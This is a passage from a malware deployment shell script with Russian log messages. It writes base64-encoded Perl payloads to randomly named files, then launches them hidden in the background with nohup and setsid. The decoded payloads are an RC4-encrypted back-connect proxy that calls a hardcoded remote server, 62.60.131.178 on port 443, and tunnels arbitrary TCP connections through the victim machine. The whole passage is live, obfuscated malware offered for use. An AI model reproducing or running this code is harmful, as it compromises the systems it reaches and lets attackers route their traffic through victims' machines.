MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #28 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #28 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 29 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xNzgnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l 